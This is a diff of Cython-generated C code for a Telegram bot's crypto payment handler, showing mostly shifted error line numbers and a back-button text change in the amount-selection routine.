__pyx_t_3 = 0; } @@ -4908,12 +4905,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_generator->resume_label = 6; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 93, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 94, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 93, __pyx_L1_error) + else __PYX_ERR(0, 94, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -5003,7 +5000,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 96, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 97, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -5011,14 +5008,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 96, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 97, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 96, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 97, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 96, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 97, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -5031,7 +5028,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 96, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 97, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -5070,7 +5067,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_se if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 96, __pyx_L1_error) + __PYX_ERR(0, 97, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -5081,7 +5078,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_se __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1, __pyx_codeobj__4, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -5149,31 +5146,31 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 96, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 97, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 102, __pyx_L1_error) + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 103, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = NULL; __pyx_t_11 = 0; @@ -5193,21 +5190,24 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 106, __pyx_L1_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_BACK); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_12) < 0) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -5230,12 +5230,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 107, __pyx_L1_error) + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; @@ -5256,7 +5256,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 108, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -5275,12 +5275,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_9, __pyx_t_5, __pyx_kp_u__7, __pyx_t_6}; + PyObject *__pyx_callargs[4] = {__pyx_t_9, __pyx_t_5, __pyx_kp_u__6, __pyx_t_6}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 3+__pyx_t_11); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5295,12 +5295,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 104, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 103, __pyx_L1_error) + else __PYX_ERR(0, 104, __pyx_L1_error) } } @@ -5310,7 +5310,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } - __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; @@ -5323,7 +5323,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XGOTREF(__pyx_t_15); /*try:*/ { - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; @@ -5348,18 +5348,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_16 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_16) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_6) < 0) __PYX_ERR(0, 115, __pyx_L8_except_error) + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_6) < 0) __PYX_ERR(0, 116, __pyx_L8_except_error) __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 116, __pyx_L8_except_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 117, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 117, __pyx_L8_except_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 118, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 119, __pyx_L8_except_error) + __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 120, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_17); __pyx_t_18 = NULL; __pyx_t_11 = 0; @@ -5379,21 +5379,24 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_18, NULL}; __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 119, __pyx_L8_except_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 120, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_row); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 120, __pyx_L8_except_error) + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_row); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 121, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 120, __pyx_L8_except_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 121, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_18 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 120, __pyx_L8_except_error) + __pyx_t_18 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 121, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_18); - if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 120, __pyx_L8_except_error) - if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 120, __pyx_L8_except_error) - __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_18); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 120, __pyx_L8_except_error) + __Pyx_GetModuleGlobalName(__pyx_t_19, __pyx_n_s_BACK); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 121, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_19); + if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_text, __pyx_t_19) < 0) __PYX_ERR(0, 121, __pyx_L8_except_error) + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 121, __pyx_L8_except_error) + __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_18); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 121, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_19); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; @@ -5416,12 +5419,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_10 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; - if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 120, __pyx_L8_except_error) + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 121, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 121, __pyx_L8_except_error) + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 122, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; @@ -5442,7 +5445,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 121, __pyx_L8_except_error) + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 122, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } @@ -5461,12 +5464,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_17, __pyx_t_7, __pyx_kp_u__8, __pyx_t_12}; + PyObject *__pyx_callargs[4] = {__pyx_t_17, __pyx_t_7, __pyx_kp_u__7, __pyx_t_12}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 3+__pyx_t_11); __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 116, __pyx_L8_except_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 117, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -5511,12 +5514,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_15 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L8_except_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 117, __pyx_L8_except_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 116, __pyx_L8_except_error) + else __PYX_ERR(0, 117, __pyx_L8_except_error) } } @@ -5544,12 +5547,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_L11_try_end:; } - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 125, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 125, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5564,20 +5567,20 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 125, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 126, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 125, __pyx_L1_error) + else __PYX_ERR(0, 126, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -5599,7 +5602,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_1 